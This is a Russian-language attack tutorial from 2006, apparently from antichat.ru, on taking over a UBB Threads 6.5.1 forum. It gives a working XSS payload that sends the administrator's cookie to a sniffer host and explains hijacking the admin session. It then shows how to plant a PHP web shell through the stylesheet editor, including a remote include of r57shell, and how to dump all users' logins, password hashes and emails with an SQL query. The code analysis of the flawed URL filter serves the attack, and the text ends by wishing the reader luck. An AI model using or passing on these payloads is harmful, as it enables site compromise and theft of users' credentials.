Инструкция по заливке шелла
Проверялось на UBB Threads 6.5.1.
Для начала надо украсть cookie. Сделать это можно через следующую XSS:
Код HTML:
http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://sniff/s.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://sniff/s.php?'+bb)"title='alt="m.ru/1.jpg http://vict="title='i="m.ru/1.jpg
Вместо "sniff/s.php?" надо вставить путь до сниффера. Менять надо в двух местах (в "list-style-image" и в обработчике onError).
Далее подставляешь полученные админские cookie. Сделать это можно с помощью прог
Cookie Editor в IE, встроенного менеджера cookie в опере или с помощью расширения
Add & Edit Cookies в Firefox.
Всё, теперь ты - админ. Иди в админку. Слева появиться меню с всевозможными действиями. Вибирай Create stylesheet (создать таблицу стилей). В большое текстовое поле вбиваешь текст шелла (а можно просто подключить шелл от rst кодом <? include("http://rst.void.ru/download/r57shell.txt"); ?>). Ниже вбиваешь любое название шелла (главное, чтобы оно оканчивалось на .php, если php-shell, на .pl, если perl-shell итд). Пусть будет называться лаконически shell.php. Кликаешь "Add this stylesheet" (добавить таблицу стилей). Ура - по адресу
http://site.ru/stylesheets/shell.php лежит твой шелл.
На самом деле, если тебе нужны только хеши, то можно их получить и средствами самого форума. Заходишь в раздел "SQL command" (sql команды) и вводишь:
SELECT U_Username, U_Password, U_Email FROM w3t_Users
(выводит логины, хеши и e-mail'ы всех юзеров).
Правда, если админ сменил префикс таблиц, то это не сработает и придётся вначале узнать имя таблицы с логинами, выполнив запрос "SHOW TABLES FROM datebase", где database - имя таблицы (узнать последнее можно в разделе "Edit config settings")
Почему это работает
После первого взгляда на код UBB Threads 6.5, обрабатывающий посты, я не увидел ничего хорошего:
PHP код:
$Body = preg_replace("/\[url\]http:\/\/([^\[]*?)\[\/url\]/i","<a href=\"http://\\1\" target=\"_blank\">http://\\1</a>",$Body);
Регулярное выражение недвухсмысленно запрещало знак '[' в тексте ссылки. В img и др. тэгах такая же фильтрация. Следовательно спаренным тэгам в этот раз придётся курить бамбук.
Но, запрещая квадратную скобку, это регулярное выражение попускает двойные кавычки! Подставил - облом. Причиной облома стал код ниже:
PHP код:
preg_match_all("/\[url=(.*?)\]/is",$Body,$matches1);
$bad = "";
for ($i=0; $i < count($matches1['0']); $i++) {
if (strstr($matches1['0'][$i],"\"")) {
$bad = 1;
}
}
if (!$bad) {
$Body = preg_replace("/\[url=(.*?)\](.*?)\[\/url\]/i","<a href=\"\\1\" target=\"_blank\">\\2</a>",$Body);
}
А почему это нельзя было совместить с первым рег. выражением? Одназначно, у кого-то кривые руки

. Но тем не менее фильтр есть. Проскролив файл вверх-вниз и не найдя там ничего интересного, я уже хотел сдаться, но вдруг обратил внимание на строку:
PHP код:
$Body = preg_replace("#([\n\r ])([a-z]+?)://([^, \n\r]+)#i", "\\1<a href=\"\\2://\\3\" target=\"_blank\">\\2://\\3</a>", $Body);
Самое что ни на есть обычное действие: преобразование ссылок прописанных в тексте в кликабельные.
Но после http:// разрешается все символы кроме запятой, пробела и знаков переноса (короче тех, которыми обычно отделена ссылка). Уже понятно к чему клоню? Ставим
"title=' - и у нас выход в тэг.
Не буду расписывать подробностей сплоита, скажу лишь основное. Сплоит работает в IE за счёт list-style-image:url(javascript
:...). Opera отсылает куки по событию onError, которое, в свою очередь, возникает из-за указание несуществующего файла, как фона background:url(
http://laza). Текст сплоита не виден из-за того, что размера его содержащего бокса - 1px*1px.
Напоследок, приведу html-код, в который преобразуется сплоит:
Код HTML:
<a href="http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://rot.hut1.ru/k/index.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://rot.hut1.ru/k/index.php?'+bb)"title='alt="m.ru/1.jpg" target="_blank">http://vict"onError="var/**/aa=new/**/Im...alt="m.ru/1.jpg</a> <a href="http://vict="title='i="m.ru/1.jpg" target="_blank">http://vict="title='i="m.ru/1.jpg</a>
Удачи!
© pch (pchopch on the gmail.com) [antichat.ru] 2006